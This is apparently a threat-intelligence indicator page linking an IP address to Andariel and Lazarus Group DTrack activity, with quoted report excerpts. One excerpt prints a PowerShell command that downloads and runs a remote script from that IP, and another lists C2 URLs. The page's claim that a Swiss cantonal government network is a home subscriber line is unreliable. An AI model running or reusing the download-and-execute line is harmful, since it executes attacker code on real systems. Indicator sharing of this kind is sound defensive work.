`145.232.235.222`

145.232.235.222 is an IP address that 2 published sources report in connection with Andariel and Lazarus Group activity, which public reporting attributes to North Korea (DPRK). It is cited here from Kaspersky Securelist and Threat Book. The earliest of those reports is dated 2020-12-18 and the most recent 2022-08-09.

ip address Andariel Lazarus Group MATCHED IN SOURCE

First seen 2020-12-18 · last seen 2022-08-09

Network

Kind	fixed line
Network	Direction des Systemes d'Information, Etat de Vaud
Announced by	AS15675 Direction generale du numerique et des systemes d'information (DGNSI) Etat de Vaud
Country	Switzerland

Looked up 2026-09-21 at ip-api.com. A subscriber line, as a person working from home ordinarily has.

Sources

…C:\windows\system32\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://145.232.235.222/usr/users/mini.ps1') 1 C : \ windows \ system32 \ WindowsPowershell \ v1 .…
Andariel deploys DTrack and Maui ransomware | Securelist — Kaspersky Securelist · under “Additional DTrack module and initial infection method” · published 2022-08-09 · pulled 2026-09-12
…the communication frequency with C2 server, the cache file name, etc., and the Trojan has built-in two groups of C2 servers: http://145.232.235.222/usr/users/common.php http://46.14.68.202/editor/common.php The host system registered organization, the registered owner and install…
Thief in the Dark: Lazarus Uses Dtrack RAT Tool to Steal Massive Medical Data — Threat Book · under “3.1Dtrack RAT Client Component Analysis” · published 2020-12-18 · pulled 2026-09-12

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: Andariel deploys DTrack and Maui ransomware | Securelist

Kaspersky Securelist lists 11 other indicators in this source. 7 are shown, chosen across types.

All 12 indicators from this source

Cited by the same report: Thief in the Dark: Lazarus Uses Dtrack RAT Tool to Steal Massive Medical Data

Threat Book lists 5 other indicators in this source.